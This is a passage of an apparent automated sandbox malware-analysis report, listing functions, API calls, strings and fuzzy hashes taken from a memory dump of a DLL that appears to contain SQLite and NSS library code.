Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: cd89817002e6fa9c216bba78ebf899c4097fd0a9a6e78f7df101790d3788b131
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: C8D16863B456460BFF14487F8CA03EA77A38792374F784329D1B18BFE5E65988838351

Function 6CF0AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5622cba7d3ff230e48c449a1263356b77bbf1ed239e81fd40799831b957e2b4e
Instruction ID: 038b718ff4557e0522fb19ec867ffdf96d52f861ea86b29221a1f8f374ff5bf2
Opcode Fuzzy Hash: 5622cba7d3ff230e48c449a1263356b77bbf1ed239e81fd40799831b957e2b4e
Instruction Fuzzy Hash: 49F1E071F11216CBDB44CFA9E8A03AEB7F0AB8A708F15862DC905DBB54E7709951CBC1

Function 6CEFDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDD5001,?,00000003,00000000), ref: 6CEFDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CDD5001,?), ref: 6CEFE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CDD5001,?), ref: 6CEFE2DA

Strings

W, xrefs: 6CEFE111

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: c9cac8aa8bc2e2b3fb4a8f7d791cc44aebc5e009f8c21dc34c66dba36c24fe4b
Instruction ID: 1a1c24aef203e0b66b4133c7287c7976710d08cfc36369be84a75b70ffdbc17b
Opcode Fuzzy Hash: c9cac8aa8bc2e2b3fb4a8f7d791cc44aebc5e009f8c21dc34c66dba36c24fe4b
Instruction Fuzzy Hash: 55C1E972A05A558BDB04CE2A84907AA77B2AF8630CF384169DC79ABB41D731B907C7D1

Function 6CEC0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEC1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEC1086

Strings

h(l, xrefs: 6CEC0E55, 6CEC0EC4, 6CEC0F3A, 6CEC0FA7
h(l, xrefs: 6CEC1062, 6CEC105D, 6CEC0F37, 6CEC1081, 6CEC1082

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: c2be0475ce87388ab80427cc6f467ca9375471d003633ce3442053cdec90b235
Instruction ID: b03217610fcf25c28dc9852ff98105c8beaccf89fa7c87a2939249d70cd7fdcc
Opcode Fuzzy Hash: c2be0475ce87388ab80427cc6f467ca9375471d003633ce3442053cdec90b235
Instruction Fuzzy Hash: 2DA15E71F0125A9FCF08CF99C991AEEBBB6BF49314B248129E914A7700D735ED41CBA1

Function 6CDE6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CDE7067
sz=[0-9]*, xrefs: 6CDE7049
*?[, xrefs: 6CDE7034, 6CDE7052, 6CDE7070
unordered*, xrefs: 6CDE702B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 35edbc714b1fb97467fc3ed6a7fba0c3eaec6b3ef9668452698210f88ecba224
Instruction ID: 3a1f72ed639f80ac5f00ef8a6794fcf57e4272639dcdd96c4b8ccd8d8b181344
Opcode Fuzzy Hash: 35edbc714b1fb97467fc3ed6a7fba0c3eaec6b3ef9668452698210f88ecba224
Instruction Fuzzy Hash: 10718D72F042155BEB508F6DC88039E73A29F8D314F260279CD99ABBE2D7719C4687D1

Function 6CE03EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CE0460F
sqlite_, xrefs: 6CE03FAA, 6CE04185
sqlite_master, xrefs: 6CE0463F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: fd4af38c4379f0a5892321680a723a5984b809edc8e7de10dbd2b599af686e09
Instruction ID: d30d9fd3342be76e2d3673c37b6c6c8eb2b6f1b7b4c1af071dbb53235fe95007
Opcode Fuzzy Hash: fd4af38c4379f0a5892321680a723a5984b809edc8e7de10dbd2b599af686e09
Instruction Fuzzy Hash: 70228C21B491954FD7418B2682606A67BF2AF6730CB3C559EC9E1AFB42D235EC62C7C0

Function 6CF3BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF3C0B6

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 10956d8b66f3206d9c0192773c926c5b2077ea470fa7093320979b719871124a
Instruction ID: 200b93c014459b13d53d8f6d1073da226fb1c25805bed40e8a8774b665d64bf1
Opcode Fuzzy Hash: 10956d8b66f3206d9c0192773c926c5b2077ea470fa7093320979b719871124a
Instruction Fuzzy Hash: EC92A475E042299FDB05DF98C890BAEB7B2FF88308F245258D819ABB91D735DC45CB90

Function 6CE138E0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

., xrefs: 6CE14611

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 91128b78534a4d760ee12ef1ab11db4e09269988eca6c41820445f714066ff23
Instruction ID: 06f1f3e07e99ffb25b3305dab425eb93dba05b36a15260c71eac39f2f1cc76b6
Opcode Fuzzy Hash: 91128b78534a4d760ee12ef1ab11db4e09269988eca6c41820445f714066ff23
Instruction Fuzzy Hash: BC92A275A08219CFDB24CF69C480B99B7B2FF48318F2581AED8499BB52D734D992CF40

Function 6CDD3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDD3EA9

Strings

0, xrefs: 6CDD3DAB

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: e206e8075cf232ea3d26ba7d57eb4888cdc14b61bc1bf052ca13c5165b0a1ee1
Instruction ID: 968a970a3b7f3e6c654d29c734f5f23d89b1dc785894eb639c9e5ea511a84f0f
Opcode Fuzzy Hash: e206e8075cf232ea3d26ba7d57eb4888cdc14b61bc1bf052ca13c5165b0a1ee1
Instruction Fuzzy Hash: 11518C71E481BACADB158B7D88603FFFBB19B43314F1E4329C5A167AE1D234A54987D0

Function 6CE7EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE7F0F9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 79f5b5c39504a9cafd088fedac836c090385b3ba43379f34af8d7e386435d4f5
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: ED918075A0061A8FCB24CF68C8916AEB7F1FF85324F24472DD962A7BC0D734A905CB61

Function 6CEA2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEC7929), ref: 6CEA2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEC7929), ref: 6CEA2FE0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: eef4b0ceef15c453fa62e87a5ef266947bae55a8e59810b9366837380e0dea8c
Instruction ID: 839fbc09ec54bcec44a55d0b6d34035542b8df8ac99e6b2ee33a637d27338b4c
Opcode Fuzzy Hash: eef4b0ceef15c453fa62e87a5ef266947bae55a8e59810b9366837380e0dea8c
Instruction Fuzzy Hash: E951C171A049118FD7148EEAC8C0B6AB7B1EF4631CF39416AD909AFB02D735E947CB81

Function 6CDEAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDEAE9F
winUnlock, xrefs: 6CDEAE18

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9886d6583174b181628c654ed56484eab0fbb77ebfb9a3c0d00eed93edd9453c
Instruction ID: a32ccecb8038efc36b76c0daca82f5f14c3290d5521c061b06e4c0bbff85ad6c
Opcode Fuzzy Hash: 9886d6583174b181628c654ed56484eab0fbb77ebfb9a3c0d00eed93edd9453c
Instruction Fuzzy Hash: 11718971A18245DFDB44CF28E890BAABBF5FF89314F14CA18F98997311D730A9858BD1

Function 6CEAED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CEAEE3D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: e333744c4f70a24445246c9d7ee116769184b9b1c9f10822f0b3b89b887952bb
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 0771D576E01B018FD718CF99C88166AB7F2EF88308F25862DD8559B791D734E912CBD1

Function 6CDD5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CDD6013

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 1325664a9b67397abcf7cb96ae810defe78abc52155892eeba1e5f564c336a67
Instruction ID: bc63313ac5d814f6c1695fe9e4969cec6dca0366f1e2cc2ed200d2634ece1222
Opcode Fuzzy Hash: 1325664a9b67397abcf7cb96ae810defe78abc52155892eeba1e5f564c336a67
Instruction Fuzzy Hash: DFC101B1E04606CBDB048F25C4507AEBBF2EB45318F2A8519D8958BB62D731F842C7D1

Function 6CDE4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDE5125

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: caf2f1ee449c15dfba5693630e226d33e55a6c93081ef6bc8a5c99be73da775f
Instruction ID: 010e6e94951192777823bc4bb2c08522f48013034f941340b06607b94d393db6
Opcode Fuzzy Hash: caf2f1ee449c15dfba5693630e226d33e55a6c93081ef6bc8a5c99be73da775f
Instruction Fuzzy Hash: 09E13B70E28340CFDB44DF28D59475ABBF0BF89358F158A1DE89997361E730A985CB82

Function 6CF65E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF65B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE4DF9B), ref: 6CF65B9E
Part of subcall function 6CF65B90: PR_Unlock.NSS3 ref: 6CF65BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF65E23,6CE4E154), ref: 6CF65EBF

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 7bb2803620d08b343148f50ed2508af7caaaf3b7754851fe36d873fea02cce1b
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 59518C72E0021A8FDB18CF59C8816AEF7B2FF98314B19867DD816B7755D730A941CBA0

Function 6CF1DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c353e1fc7e37ae3aed40447a78a1d319d450e825f6bbe1361e7c8b60e8d8c143
Instruction ID: ccd4775b9a86f73df6951182c70f66222e8b1d53b3fd9de096bdb25e57c736ce
Opcode Fuzzy Hash: c353e1fc7e37ae3aed40447a78a1d319d450e825f6bbe1361e7c8b60e8d8c143
Instruction Fuzzy Hash: C3F18E71A05205CFDB09CF19C494BAAB7B2BF89318F298168D8099FB51CB35ED42CBD1

Function 6CEB1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 122be45a27428f10f7edf709c067fae71b87b8bd640f0f6e7f8768d0ce2dfb02
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: D4D158329046568BDB018E58C9843FA7773AF96338F2D4329D8643B7C6C37AA906C3D0

Function 6CE48EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e9e086c6bbb2e46dff8e160eb7006deb0d3401b9c85e10d201608c1665c80fd
Instruction ID: 4f0d53fdb126c2cc2b88ad4ce65a027e56d4c242b778034ca2f316865777ea62
Opcode Fuzzy Hash: 8e9e086c6bbb2e46dff8e160eb7006deb0d3401b9c85e10d201608c1665c80fd
Instruction Fuzzy Hash: FF110132A002198BD728CF25E884B5AB7B5FF4231CF24826AD805CFB41C375E882C7C1

Function 6CF20C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

